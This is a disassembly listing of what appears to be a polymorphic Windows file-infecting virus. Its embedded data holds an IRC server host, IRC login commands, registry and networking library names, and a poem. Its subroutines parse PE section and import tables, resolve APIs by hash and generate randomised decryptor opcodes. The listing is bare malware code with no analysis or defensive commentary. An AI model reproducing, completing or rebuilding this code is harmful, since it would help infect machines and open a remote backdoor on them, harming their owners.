		dd 40356C95h, 24048700h, 353C95FFh, 0C3F80040h,	15778D80h
		dd 0F9010040h, 464F53C3h, 52415754h, 694D5C45h,	736F7263h
		dd 5C74666Fh, 646E6957h, 5C73776Fh, 72727543h, 56746E65h
		dd 69737265h, 455C6E6Fh, 6F6C7078h, 726572h, 67726154h
		dd 6F487465h, 2007473h,	55F0FF00h, 70D08F72h, 69786F72h
		dd 72692E6Dh, 6C616763h, 2E797861h, 4E006C70h, 204B4349h
		dd 6274676Ch, 7A6F6D70h, 4553550Ah, 30772052h, 30353032h
		dd 202E2031h, 2D3A202Eh, 4E494F4Ah, 69762620h, 0A757472h
		dd 0E855h, 815D0000h, 401DB4EDh, 7785C600h, 4015h, 359495FFh
		dd 0E8C10040h, 6A3C741Fh, 50B58B1Eh, 59004035h,	752E3CACh
		dd 3E81662Ah, 23751DFFh, 3640BD8Dh, 768B0040h, 66A55702h
		dd 6A858DA5h, 8F004033h, 40339085h, 4689FA00h, 0FE4E8CFAh
		dd 0E201B1FBh, 8D43EBCFh, 4015B185h, 6A5000h, 95FF0E6Ah
		dd 4035A4h, 8247C83h, 0E82B7504h, 4, 434653h, 358895FFh
		dd 48E80040h, 0E8FFFFFCh, 7, 5F434653h,	0FF00534Fh, 40358895h
		dd 0FC31E800h, 56E8FFFFh, 0FFFFFFF3h, 4013038Dh, 0BE800h
		dd 53550000h, 32335245h, 4C4C442Eh, 9C95FF00h, 0E8004035h
		dd 0Ah,	72707377h, 66746E69h, 0FF500041h, 40354895h, 54858900h
		dd 0F004035h, 0E08D8D31h, 89004018h, 40364685h,	95FF5100h
		dd 40359Ch, 46893h, 0B58D0000h,	4018EDh, 2CBD8D59h, 0E8004036h
		dd 0FFFFF6D6h, 6785C766h, 0FF00401Dh, 69A583F0h, 401Dh
		dd 1D27958Dh, 54500040h, 6A016Ah, 26852h, 95FF8000h, 403630h
		dd 755AC085h, 5A8D8D22h, 5200401Dh, 0B58D066Ah,	401D67h
		dd 50505654h, 95FF5251h, 403634h, 2C95FF58h, 0C6004036h
		dd 40384D85h, 0CE80000h, 57000000h, 4B434F53h, 442E3233h
		dd 0FF004C4Ch, 40359C95h, 7689300h, 8D000000h, 401844B5h
		dd 0BD8D5900h, 4035FCh,	0FFF651E8h, 0CE8FFh, 49570000h
		dd 454E494Eh, 4C442E54h, 95FF004Ch, 40359Ch, 840FC085h
		dd 1E7h, 56893h, 0B58D0000h, 401882h, 18BD8D59h, 0E8004036h
		dd 0FFFFF61Ah, 361CBD83h, 0F000040h, 1C284h, 90EC8100h
		dd 54000001h, 10168h, 0FC95FF00h, 81004035h, 190C4h, 0D48B5000h
		dd 0FF52006Ah, 40361C95h, 59C08500h, 88680D75h,	0FF000013h
		dd 4035BC95h, 83E2EB00h, 401D69BDh, 29750000h, 1D6D858Dh
		dd 0FF500040h, 40360895h, 0FC08500h, 13B84h, 0C408B00h
		dd 30FF008Bh, 1D69858Fh, 85C60040h, 40384Dh, 6A006A01h
		dd 0FF026A01h, 40361495h, 0FFF88300h, 112840Fh,	8D930000h
		dd 401D6595h, 52106A00h, 495FF53h, 85004036h, 0F2850FC0h
		dd 8D000000h, 401D86BDh, 0E808B100h, 0FFFFFABCh, 9468h
		dd 0E62B5E00h, 54243489h, 359895FFh, 0BD8D0040h, 401D94h
		dd 9DE801B1h, 8BFFFFFAh, 0C1102444h, 440B08E0h,	0E0C10424h
		dd 24440B08h, 5E85008h,	25000000h, 78362Eh, 5495FF57h
		dd 83004035h, 47C60CC4h, 958D2006h, 401D81h, 2168006Ah
		dd 52000000h, 1095FF53h, 8D004036h, 5714247Ch, 355895FFh
		dd 4C60040h, 6A400A38h,	53575000h, 361095FFh, 0E6030040h
		dd 1DA2BD8Dh, 6A0040h, 0C68h, 0FF535700h, 40361095h, 0C3D00h
		dd 4D750000h, 364EB58Dh, 8D8D0040h, 40384Dh, 6ACE2Bh, 0FF535651h
		dd 40360C95h, 0F88300h,	8B912F7Eh, 4EB58DFEh, 0B0004036h
		dd 75AEF20Dh, 0F8E86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh
		dd 2BCF8BEAh, 4EBD8DCEh, 0F3004036h, 0EBF787A4h, 95FF53B9h
		dd 403600h, 1577BD80h, 74010040h, 7530682Ah, 95FF0000h
		dd 4035BCh, 384DBD80h, 74000040h, 6985C711h, 401Dh, 0C6000000h
		dd 40384D85h, 56E90000h, 0C7FFFFFEh, 40158085h,	0
		dd 4C25D80h, 4F0A0D00h,	6F6F6E20h, 666F206Eh, 66696C20h
		dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h
		dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h
		dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h
		dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h
		dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 68637461h
		dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh
		dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h
		dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h
		dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h
		dd 656D6974h, 74492021h, 6C207327h, 21657461h, 84040A0Dh
		dd 595730C7h, 79ED3AABh, 0DA234FD4h, 5248A5FAh,	14294037h
		dd 0AD4710A6h, 0F96A6299h, 8B99606Eh, 7AB4DB85h, 0FAE5050Bh
		dd 141327B1h, 69DF10A6h, 0CC5C53AFh, 0C17EC26Ch, 86D1A73h
		dd 0B35210F2h, 0D8B8h, 0Eh dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_6119E2	proc near		; CODE XREF: sub_611A29:loc_611A86p
					; sub_611AE9+7p ...

arg_0		= dword	ptr  4

		pusha
		and	dword ptr ss:loc_4039A6[ebp], 0
		and	dword ptr [ebp+4039AAh], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_6119FE:				; CODE XREF: sub_6119E2+41j
		mov	eax, [esp+20h+arg_0]
		sub	eax, [edx+0Ch]
		jb	short loc_611A20
		cmp	eax, [edx+8]
		jnb	short loc_611A20
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	dword ptr ss:loc_4039A6[ebp], edx
		mov	[ebp+4039AAh], eax
		jmp	short loc_611A25
; ---------------------------------------------------------------------------


loc_611A20:				; CODE XREF: sub_6119E2+23j
					; sub_6119E2+28j
		add	edx, 28h
		loop	loc_6119FE


loc_611A25:				; CODE XREF: sub_6119E2+3Cj
		popa
		retn	4
sub_6119E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_611A29	proc near		; CODE XREF: .XComp:00611D55p
					; .XComp:00611D7Bp
		mov	[ebp+4022F7h], al
		call	sub_611A98
		push	20h
		lea	eax, loc_402224[ebp]
		pop	ecx


loc_611A40:				; CODE XREF: sub_611A29+1Ej
		cmp	[eax], ebx
		jz	short loc_611A50
		add	eax, 4
		loop	loc_611A40
		inc	dword ptr ss:loc_40398E[ebp]
		retn
; ---------------------------------------------------------------------------


loc_611A50:				; CODE XREF: sub_611A29+19j
		neg	ecx
		add	ecx, [ebp+4022F7h]
		jecxz	short loc_611A6A


loc_611A5A:				; CODE XREF: sub_611A29+39j
		push	dword ptr [eax-4]
		pop	dword ptr [eax]
		sub	eax, 4
		loop	loc_611A5A
		mov	dword ptr ss:loc_402224[ebp], ebx


loc_611A6A:				; CODE XREF: sub_611A29+2Fj
					; sub_611A98+34j
		cmp	dword ptr [edx], 0
		jz	short loc_611A74
		sub	esi, [edx]
		add	esi, [edx+10h]


loc_611A74:				; CODE XREF: sub_611A29+44j
		lea	ecx, [esi-4]
		pop	eax
		pop	ebx
		pop	esi
		cmp	dword ptr [edx], 0
		jz	short loc_611A83
		push	dword ptr [edx]
		jmp	short loc_611A86
; ---------------------------------------------------------------------------


loc_611A83:				; CODE XREF: sub_611A29+54j
		push	dword ptr [edx+10h]


loc_611A86:				; CODE XREF: sub_611A29+58j
		call	sub_6119E2
		sub	ecx, esi
		sub	ecx, [ebp+4039AAh]
		pop	eax
		add	ecx, [ebx+34h]
		retn
sub_611A29	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_611A98	proc near		; CODE XREF: sub_611A29+6p
		pop	dword ptr ss:loc_403992[ebp]
		mov	dword ptr ss:loc_40398E[ebp], 0
		call	sub_611AE9
		mov	eax, dword ptr ss:loc_40398E[ebp]
		call	sub_61122D
		call	sub_611AD5
		cmp	dword ptr ss:loc_40398E[ebp], 0
		jnz	short loc_611ACE
		mov	[ebp+4022A0h], ebx
		jmp	short loc_611A6A
; ---------------------------------------------------------------------------


loc_611ACE:				; CODE XREF: sub_611A98+2Cj
		dec	dword ptr ss:loc_40398E[ebp]
		retn
sub_611A98	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_611AD5	proc near		; CODE XREF: sub_611A98+20p
		pop	dword ptr ss:loc_403992[ebp]
		mov	dword ptr ss:loc_40398E[ebp], edx
		call	sub_611AE9
		xor	ecx, ecx
		retn
sub_611AD5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_611AE9	proc near		; CODE XREF: sub_611A98+10p
					; sub_611AD5+Cp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	edx, [ebx+80h]
		push	edx
		call	sub_6119E2
		add	edx, [ebp+4039AAh]
		add	edx, esi


loc_611AFD:				; CODE XREF: sub_611AE9+120j
		cmp	dword ptr [edx+0Ch], 0
		jz	locret_611C0E
		cmp	dword ptr [edx+10h], 0
		jz	locret_611C0E
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_6119E2
		add	eax, [ebp+4039AAh]
		add	eax, esi
		push	eax


loc_611B23:				; CODE XREF: sub_611AE9+47j
		mov	cl, [eax]
		cmp	cl, 0
		jz	short loc_611B43
		cmp	cl, 2Eh
		jz	short loc_611B32


loc_611B2F:				; CODE XREF: sub_611AE9+58j
		inc	eax
		jmp	short loc_611B23
; ---------------------------------------------------------------------------


loc_611B32:				; CODE XREF: sub_611AE9+44j
		mov	ecx, [eax+1]
		and	ecx, 0DFDFDFDFh
		cmp	ecx, offset dword_4C4C44
		jnz	short loc_611B2F


loc_611B43:				; CODE XREF: sub_611AE9+3Fj
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 0FFFFFFFAh
		jg	loc_611C06
		cmp	word ptr [eax-2], 3233h
		jnz	loc_611C06
		push	esi
		cmp	dword ptr [edx], 0
		jnz	short loc_611B66
		mov	ecx, [edx+10h]
		jmp	short loc_611B68
; ---------------------------------------------------------------------------


loc_611B66:				; CODE XREF: sub_611AE9+76j
		mov	ecx, [edx]


loc_611B68:				; CODE XREF: sub_611AE9+7Bj
		add	esi, ecx
		push	ecx
		call	sub_6119E2
		add	esi, [ebp+4039AAh]


loc_611B76:				; CODE XREF: sub_611AE9+90j
					; sub_611AE9+117j
		lodsd
		test	eax, eax
		js	short loc_611B76
		jz	loc_611C05
		push	dword ptr [ebp+4039AAh]
		push	eax
		call	sub_6119E2
		add	eax, [ebp+4039AAh]
		pop	dword ptr [ebp+4039AAh]
		add	eax, [esp+4+var_4]
		push	ebx
		add	eax, 2
		xor	ebx, ebx


loc_611BA2:				; CODE XREF: sub_611AE9+CEj
		movzx	ecx, byte ptr [eax]
		jecxz	short loc_611BB9
		or	cl, 20h
		push	ebx
		shl	[esp+0Ch+var_C], 4
		sub	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], ecx
		pop	ebx
		inc	eax
		jmp	short loc_611BA2
; ---------------------------------------------------------------------------


loc_611BB9:				; CODE XREF: sub_611AE9+BCj
		cmp	ebx, 0DDBBD70Fh
		jz	short loc_611BFF
		cmp	ebx, 0DB6E45A8h
		jz	short loc_611BFF
		cmp	ebx, 0FFA13B59h
		jz	short loc_611BFF
		cmp	ebx, 0ACB522D6h
		jz	short loc_611BFF
		cmp	ebx, 0F358E993h
		jz	short loc_611BFF
		cmp	ebx, 0F358E97Dh
		jz	short loc_611BFF
		cmp	ebx, 0E1253F46h
		jz	short loc_611BFF
		cmp	ebx, 0E1253F30h
		jz	short loc_611BFF
		call	dword ptr ss:loc_403992[ebp]


loc_611BFF:				; CODE XREF: sub_611AE9+D6j
					; sub_611AE9+DEj ...
		pop	ebx
		jmp	loc_611B76
; ---------------------------------------------------------------------------


loc_611C05:				; CODE XREF: sub_611AE9+92j
		pop	esi


loc_611C06:				; CODE XREF: sub_611AE9+60j
					; sub_611AE9+6Cj
		add	edx, 14h
		jmp	loc_611AFD
; ---------------------------------------------------------------------------

locret_611C0E:				; CODE XREF: sub_611AE9+18j
					; sub_611AE9+22j
		retn
sub_611AE9	endp

; ---------------------------------------------------------------------------
		db 1

; =============== S U B	R O U T	I N E =======================================



sub_611C10	proc near		; CODE XREF: .XComp:00611D4Ep
					; .XComp:00611D74p
		push	4
		pop	eax
		call	sub_61122D
		mov	byte ptr ss:loc_4024D1[ebp], dl
		mov	ax, 1831h
		add	ah, dl
		shl	ah, 3
		add	ah, dl
		stosw
		push	6
		pop	eax
		call	sub_61122D
		add	edx, 8
		xchg	edx, ecx


loc_611C38:				; CODE XREF: sub_611C10:loc_611C77j
		push	5
		pop	eax
		call	sub_61122D
		cmp	dl, 3
		jnb	short loc_611C50
		mov	al, 50h
		add	al, byte ptr ss:loc_4024D1[ebp]
		stosb
		jmp	short loc_611C77
; ---------------------------------------------------------------------------


loc_611C50:				; CODE XREF: sub_611C10+33j
		push	68h
		pop	eax
		stosb
		cmp	dl, 3
		jnz	short loc_611C71
		mov	al, 11h
		call	sub_61122D
		mov	eax, 1


loc_611C65:				; CODE XREF: sub_611C10+5Dj
		test	dl, dl
		jz	short loc_611C76
		shl	eax, 1
		dec	dl
		jmp	short loc_611C65
; ---------------------------------------------------------------------------
		jmp	short loc_611C76
; ---------------------------------------------------------------------------


loc_611C71:				; CODE XREF: sub_611C10+47j
		mov	eax, 80000000h


loc_611C76:				; CODE XREF: sub_611C10+57j
					; sub_611C10+5Fj
		stosd


loc_611C77:				; CODE XREF: sub_611C10+3Ej
		loop	loc_611C38
		retn
sub_611C10	endp

; ---------------------------------------------------------------------------


loc_611C7A:				; CODE XREF: sub_6126D4+112p
		lea	edi, [ebp+40343Ch]
		test	dword ptr ss:loc_403431[ebp], 80000000h
		jz	short loc_611C8F
		mov	al, 60h
		stosb


loc_611C8F:				; CODE XREF: .XComp:00611C8Aj
		test	dword ptr ss:loc_403431[ebp], 1000003h
		jz	loc_611D95
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	near ptr 0BDEAC853h
		xchg	eax, esi
		cmp	[eax+0], eax
		mov	al, 0E8h
		stosb
		stosd
		test	dword ptr ss:loc_403431[ebp], 1000000h
		mov	dword ptr ss:loc_40399A[ebp], edi
		jz	short loc_611D0D
		test	dword ptr ss:loc_403431[ebp], 2000000h
		mov	eax, 36FF6467h
		jnz	short loc_611CD8
		mov	eax, 2E8B6467h


loc_611CD8:				; CODE XREF: .XComp:00611CD1j
		stosd
		mov	ax, 0
		stosw
		jz	short loc_611CE4
		mov	al, 5Dh
		stosb


loc_611CE4:				; CODE XREF: .XComp:00611CDFj
		test	dword ptr ss:loc_403431[ebp], 8000000h
		mov	eax, 86D8Dh
		jnz	short loc_611D0B
		test	dword ptr ss:loc_403431[ebp], 4000000h
		mov	eax, 8C583h
		jz	short loc_611D0B
		mov	eax, 0F8ED83h


loc_611D0B:				; CODE XREF: .XComp:00611CF3j
					; .XComp:00611D04j
		stosd
		dec	edi


loc_611D0D:				; CODE XREF: .XComp:00611CC0j
		test	dword ptr ss:loc_403431[ebp], 3
		jz	short loc_611D1D
		mov	al, 0E9h
		stosb
		stosd


loc_611D1D:				; CODE XREF: .XComp:00611D17j
		mov	eax, [ebp+403996h]
		mov	ecx, edi
		sub	ecx, eax
		mov	[eax-4], ecx
		test	dword ptr ss:loc_403431[ebp], 3
		jz	short loc_611D95
		mov	eax, 36FF6467h
		mov	[ebp+40399Eh], edi
		stosd
		mov	eax, 64670000h
		stosd
		mov	eax, 2689h
		stosd
		call	sub_611C10
		mov	al, 20h
		call	sub_611A29
		jecxz	short loc_611D95
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd
		mov	edx, dword ptr ss:loc_403431[ebp]
		not	edx
		test	edx, 3
		jnz	short loc_611D88
		call	sub_611C10
		mov	al, 1Fh
		call	sub_611A29
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd


loc_611D88:				; CODE XREF: .XComp:00611D72j
		mov	ecx, edi
		mov	eax, [ebp+40399Eh]
		sub	ecx, eax
		mov	[eax-4], ecx


loc_611D95:				; CODE XREF: .XComp:00611C99j
					; .XComp:00611D34j ...
		test	dword ptr ss:loc_403431[ebp], 4
		jz	short loc_611DB3
		mov	eax, 0C8FEC029h
		stosd
		mov	eax, 474C008h
		stosd
		mov	eax, 67EBF875h
		stosd


loc_611DB3:				; CODE XREF: .XComp:00611D9Fj
		test	dword ptr ss:loc_403431[ebp], 8
		jnz	short loc_611E09
		cmp	byte ptr [ebp+40342Fh],	0
		jz	short loc_611E09
		mov	eax, 0C9291829h
		or	ah, [ebp+40342Bh]
		shl	ah, 3
		or	ah, [ebp+40342Bh]
		stosd
		mov	al, 0B1h
		stosb
		mov	al, [ebp+40342Fh]
		stosb
		mov	al, 40h
		or	al, [ebp+40342Bh]
		stosb
		mov	ax, 0FDE2h
		test	dword ptr ss:loc_403431[ebp], 10h
		jz	short loc_611E07
		mov	al, 49h
		stosb
		mov	ax, 0FC75h


loc_611E07:				; CODE XREF: .XComp:00611DFEj
		stosw


loc_611E09:				; CODE XREF: .XComp:00611DBDj
					; .XComp:00611DC6j
		mov	al, 0E8h
		stosb
		xor	eax, eax
		stosd
		mov	dword ptr ss:loc_403982[ebp], edi
		test	dword ptr ss:loc_403431[ebp], 20h
		jnz	short loc_611E2A
		mov	al, 58h
		or	al, [ebp+403429h]
		stosb


loc_611E2A:				; CODE XREF: .XComp:00611E1Fj
		mov	ax, 0C081h
		test	dword ptr ss:loc_403431[ebp], 40h
		jz	short loc_611E3D
		add	ah, 28h


loc_611E3D:				; CODE XREF: .XComp:00611E38j
		or	ah, [ebp+403429h]
		stosw
		mov	dword ptr ss:loc_403986[ebp], edi
		stosd
		test	dword ptr ss:loc_403431[ebp], 40000000h
		jnz	short loc_611E61
		mov	al, 50h
		add	al, [ebp+403429h]
		stosb


loc_611E61:				; CODE XREF: .XComp:00611E56j
		test	dword ptr ss:loc_403431[ebp], 80h
		jnz	short loc_611E78
		mov	al, 0B8h
		or	al, byte ptr ss:loc_40342A[ebp]
		stosb
		jmp	short loc_611EB5
; ---------------------------------------------------------------------------


loc_611E78:				; CODE XREF: .XComp:00611E6Bj
		mov	ax, 1831h
		test	dword ptr ss:loc_403431[ebp], 100h
		jz	short loc_611E8A
		mov	al, 29h


loc_611E8A:				; CODE XREF: .XComp:00611E86j
		or	ah, byte ptr ss:loc_40342A[ebp]
		shl	ah, 3
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw
		mov	ax, 0F081h
		test	dword ptr ss:loc_403431[ebp], 200h
		jnz	short loc_611EAD
		mov	ah, 0C8h


loc_611EAD:				; CODE XREF: .XComp:00611EA9j
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw


loc_611EB5:				; CODE XREF: .XComp:00611E76j
		mov	dword ptr ss:loc_4039A2[ebp], edi
		mov	eax, 243Ch
		stosd
		test	dword ptr ss:loc_403431[ebp], 8
		jz	short loc_611F39
		test	dword ptr ss:loc_403431[ebp], 400h
		jnz	short loc_611EE4
		mov	al, 0B8h
		or	al, [ebp+40342Bh]
		stosb
		jmp	short loc_611F31
; ---------------------------------------------------------------------------


loc_611EE4:				; CODE XREF: .XComp:00611ED7j
		test	dword ptr ss:loc_403431[ebp], 800h
		jnz	short loc_611F01
		mov	ax, 0E083h
		or	ah, [ebp+40342Bh]
		stosw
		xor	eax, eax
		stosb
		jmp	short loc_611F16
; ---------------------------------------------------------------------------


loc_611F01:				; CODE XREF: .XComp:00611EEEj
		mov	ax, 1829h
		or	ah, [ebp+40342Bh]
		shl	ah, 3
		or	ah, [ebp+40342Bh]
		stosw


loc_611F16:				; CODE XREF: .XComp:00611EFFj
		test	dword ptr ss:loc_403431[ebp], 1000h
		mov	ax, 0C081h
		jz	short loc_611F29
		add	ah, 8


loc_611F29:				; CODE XREF: .XComp:00611F24j
		or	ah, [ebp+40342Bh]
		stosw


loc_611F31:				; CODE XREF: .XComp:00611EE2j
		movzx	eax, byte ptr [ebp+40342Fh]
		stosd


loc_611F39:				; CODE XREF: .XComp:00611ECBj
		test	dword ptr ss:loc_403431[ebp], 40000000h
		jz	short loc_611F4E
		mov	al, 50h
		add	al, [ebp+403429h]
		stosb


loc_611F4E:				; CODE XREF: .XComp:00611F43j
		test	dword ptr ss:loc_403431[ebp], 2000h
		mov	al, 86h
		jnz	short loc_611F5E
		add	al, 4


loc_611F5E:				; CODE XREF: .XComp:00611F5Aj
		lea	ecx, [edi-2]
		mov	ah, [ebp+403429h]
		mov	[ebp+40398Ah], ecx
		stosw
		cmp	ah, 5
		jnz	short loc_611F7B
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_611F7B:				; CODE XREF: .XComp:00611F72j
		test	dword ptr ss:loc_403431[ebp], 4000h
		mov	ax, 3166h
		jnz	short loc_611F8D
		mov	ah, 29h


loc_611F8D:				; CODE XREF: .XComp:00611F89j
		stosw
		mov	al, 18h
		or	al, [ebp+40342Bh]
		shl	al, 3
		stosb
		mov	al, 88h
		test	dword ptr ss:loc_403431[ebp], 8000h
		jnz	short loc_611FAB
		mov	al, 86h


loc_611FAB:				; CODE XREF: .XComp:00611FA7j
		mov	ah, [ebp+403429h]
		stosw
		cmp	ah, 5
		jnz	short loc_611FBF
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_611FBF:				; CODE XREF: .XComp:00611FB6j
		test	dword ptr ss:loc_403431[ebp], 10000h
		jnz	short loc_611FD6
		mov	al, 40h
		or	al, [ebp+403429h]
		stosb
		jmp	short loc_611FE5
; ---------------------------------------------------------------------------


loc_611FD6:				; CODE XREF: .XComp:00611FC9j
		mov	ax, 0C083h
		or	ah, [ebp+403429h]
		stosw
		mov	al, 1
		stosb


loc_611FE5:				; CODE XREF: .XComp:00611FD4j
		test	dword ptr ss:loc_403431[ebp], 20000h
		jnz	short loc_612020
		test	dword ptr ss:loc_403431[ebp], 40000h
		jnz	short loc_612017
		mov	al, 0C0h
		or	al, [ebp+40342Bh]
		mov	ah, [ebp+403430h]
		shl	eax, 10h
		mov	ax, 8166h
		stosd
		mov	al, 0
		jmp	short loc_61201F
; ---------------------------------------------------------------------------


loc_612017:				; CODE XREF: .XComp:00611FFBj
		mov	al, 40h
		or	al, [ebp+40342Bh]


loc_61201F:				; CODE XREF: .XComp:00612015j
		stosb


loc_612020:				; CODE XREF: .XComp:00611FEFj
		test	dword ptr ss:loc_403431[ebp], 80000h
		jnz	short loc_61203C
		mov	ax, 0E883h
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw
		mov	al, 1
		jmp	short loc_612044
; ---------------------------------------------------------------------------


loc_61203C:				; CODE XREF: .XComp:0061202Aj
		mov	al, 48h
		or	al, byte ptr ss:loc_40342A[ebp]


loc_612044:				; CODE XREF: .XComp:0061203Aj
		stosb
		test	dword ptr ss:loc_403431[ebp], 100000h
		mov	cl, 75h
		jnz	short loc_612078
		mov	ax, 0F883h
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw
		xor	eax, eax
		stosb
		sub	[ebp+40398Ah], edi
		test	dword ptr ss:loc_403431[ebp], 200000h
		jnz	short loc_612093
		mov	cl, 77h
		jmp	short loc_612093
; ---------------------------------------------------------------------------


loc_612078:				; CODE XREF: .XComp:00612051j
		mov	ax, 1809h
		or	ah, byte ptr ss:loc_40342A[ebp]
		shl	ah, 3
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw
		sub	[ebp+40398Ah], edi


loc_612093:				; CODE XREF: .XComp:00612072j
					; .XComp:00612076j
		mov	al, cl
		mov	ah, [ebp+40398Ah]
		stosw
		mov	al, 58h
		add	al, [ebp+403429h]
		stosb
		test	dword ptr ss:loc_403431[ebp], 1000003h
		jz	loc_61213D
		mov	eax, 268B6467h
		mov	ecx, dword ptr ss:loc_403431[ebp]
		xor	ecx, 2000000h
		test	ecx, 3000000h
		jnz	short loc_6120D4
		mov	eax, 2E876467h


loc_6120D4:				; CODE XREF: .XComp:006120CDj
		stosd
		mov	eax, 0
		stosw
		jnz	short loc_6120E4
		mov	ax, 0E58Bh
		stosw


loc_6120E4:				; CODE XREF: .XComp:006120DCj
		mov	eax, 68F6764h
		stosd
		xor	eax, eax
		stosw
		test	dword ptr ss:loc_403431[ebp], 1000000h
		jnz	short loc_61213A
		test	dword ptr ss:loc_403431[ebp], 8000000h
		jz	short loc_61212C
		mov	ax, 6C8Dh
		test	dword ptr ss:loc_403431[ebp], 2000000h
		setnz	cl
		or	ah, cl
		stosw
		test	cl, cl
		jnz	short loc_612127
		mov	ax, 424h
		stosw
		jmp	short loc_61213A
; ---------------------------------------------------------------------------


loc_612127:				; CODE XREF: .XComp:0061211Dj
		mov	al, 8
		stosb
		jmp	short loc_61213A
; ---------------------------------------------------------------------------


loc_61212C:				; CODE XREF: .XComp:00612104j
		mov	ax, 5D58h
		add	al, [ebp+40342Bh]
		stosw
		jmp	short loc_61213D
; ---------------------------------------------------------------------------


loc_61213A:				; CODE XREF: .XComp:006120F8j
					; .XComp:00612125j ...
		mov	al, 0C9h
		stosb


loc_61213D:				; CODE XREF: .XComp:006120B0j
					; .XComp:00612138j
		test	dword ptr ss:loc_403431[ebp], 80000000h
		jz	short loc_612169
		mov	al, 7
		sub	al, [ebp+403429h]
		shl	eax, 1Ah
		or	eax, 240889h
		add	ah, [ebp+403429h]
		shl	ah, 3
		add	ah, 4
		stosd
		mov	al, 61h
		stosb


loc_612169:				; CODE XREF: .XComp:00612147j
		mov	ax, 0E0FFh
		or	ah, [ebp+403429h]
		stosw
		test	dword ptr ss:loc_403431[ebp], 20h
		jz	short loc_6121D4
		test	dword ptr ss:loc_403431[ebp], 20000000h
		jz	short loc_61219A


loc_61218D:				; CODE XREF: .XComp:00612198j
		test	edi, 3
		jz	short loc_61219A
		mov	al, 90h
		stosb
		jmp	short loc_61218D
; ---------------------------------------------------------------------------


loc_61219A:				; CODE XREF: .XComp:0061218Bj
					; .XComp:00612193j
		mov	eax, edi
		mov	ecx, dword ptr ss:loc_403982[ebp]
		sub	eax, ecx
		mov	[ecx-4], eax
		mov	al, 58h
		or	al, [ebp+403429h]
		stosb
		test	dword ptr ss:loc_403431[ebp], 400000h
		jz	short loc_6121C8
		mov	ax, 0C350h
		or	al, [ebp+403429h]
		jmp	short loc_6121D2
; ---------------------------------------------------------------------------


loc_6121C8:				; CODE XREF: .XComp:006121BAj
		mov	ax, 0E0FFh
		or	ah, [ebp+403429h]


loc_6121D2:				; CODE XREF: .XComp:006121C6j
		stosw


loc_6121D4:				; CODE XREF: .XComp:0061217Fj
		test	dword ptr ss:loc_403431[ebp], 1000003h
		jz	short loc_612253
		test	dword ptr ss:loc_403431[ebp], 20000000h
		jz	short loc_6121F9


loc_6121EC:				; CODE XREF: .XComp:006121F7j
		test	edi, 3
		jz	short loc_6121F9
		mov	al, 90h
		stosb
		jmp	short loc_6121EC
; ---------------------------------------------------------------------------


loc_6121F9:				; CODE XREF: .XComp:006121EAj
					; .XComp:006121F2j
		mov	ecx, edi
		mov	eax, dword ptr ss:loc_40399A[ebp]
		sub	ecx, eax
		mov	[eax-4], ecx
		xor	ecx, ecx
		test	dword ptr ss:loc_403431[ebp], 800000h
		jnz	short loc_612222
		lea	eax, [ebp+403429h]


loc_61221A:				; CODE XREF: .XComp:00612220j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_61221A


loc_612222:				; CODE XREF: .XComp:00612212j
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_612237
		mov	ax, 0C031h
		stosw


loc_612237:				; CODE XREF: .XComp:0061222Fj
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_612250
		mov	ax, 0C031h
		stosw


loc_612250:				; CODE XREF: .XComp:00612248j
		mov	al, 0C3h
		stosb


loc_612253:				; CODE XREF: .XComp:006121DEj
		lea	eax, [ebp+40343Ch]
		test	dword ptr ss:loc_403431[ebp], 10000000h
		jnz	short loc_61226B
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_612284
; ---------------------------------------------------------------------------


loc_61226B:				; CODE XREF: .XComp:00612263j
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, dword ptr ss:loc_4039A2[ebp]
		add	dword ptr ss:loc_403982[ebp], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_612284:				; CODE XREF: .XComp:00612269j
		mov	[ebp+40106Dh], edi
		mov	edi, dword ptr ss:loc_403986[ebp]
		sub	eax, dword ptr ss:loc_403982[ebp]
		test	dword ptr ss:loc_403431[ebp], 40h
		jz	short loc_6122A4
		neg	eax


loc_6122A4:				; CODE XREF: .XComp:006122A0j
		stosd
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_6122A8	proc near		; CODE XREF: sub_6126D4+2A8p
		push	esi
		push	edi
